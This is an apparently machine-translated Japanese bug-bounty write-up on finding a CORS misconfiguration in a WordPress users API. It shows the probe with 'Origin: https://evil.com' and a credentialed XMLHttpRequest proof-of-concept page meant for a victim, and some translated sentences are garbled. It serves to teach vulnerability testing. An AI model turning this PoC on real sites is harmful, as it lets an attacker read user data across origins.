ソース:
脆弱性:CORS
訳:
はじめに : バグハンティングに関する私の新しい記事へようこそ。 ここでは、Web アプリケーションの探索中に CORS 脆弱性を見つける方法について説明します。 ここでは、ドメインを example.com と仮定し。
ハックしてみましょう:
そこで、まずこのWebサイト example.com にアクセスし、path: /wp-json/wp/v2/users に移動して、すべてのユーザー情報を取得します。 でリクエストをインターセプトし 次に、 BurpSuite Repeater に送信しました。
JSON形式での応答
CORSを試します、外部サイトにアクセスできるかどうか。
ここで Origin が指定しているものを見つけたからです。
そこで、リクエストに Origin ヘッダーを追加し、ランダムな Web サイトを設定しま。
Tip : Origin: https://evil.com
ステータス コードが反映されます 持つ200 そして、リクエストを送信すると、ヘッダー Access-Control-Allow-Origin: https:///evil.com および Access-Control-Allow-Credentials: True を 。
これは、その外部サイトを受け入れることを意味します。
ブロッキングなしのオリジンであり、 SOP に違反します。
また、その Web ページのほぼすべてで使用できるメソッドも取得。
そして内容も同じで。
ここでPOCを示します。
<html>
<body>
<center>
<h2>CORS POC</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200){
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://example.com/wp-json/wp/v2/users", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
脆弱なサイトを指定してブラウザで実行できます。
ここでは、脆弱性を引き起こすために被害者に送信して。
インパクト :
攻撃者は CORS の脆弱性を利用して機密データをアプリケーションから盗む可能性があります。
API キー、SSH キー、個人を特定できる情報 ( PII )、ユーザーの資格情報などの。
ほなほな。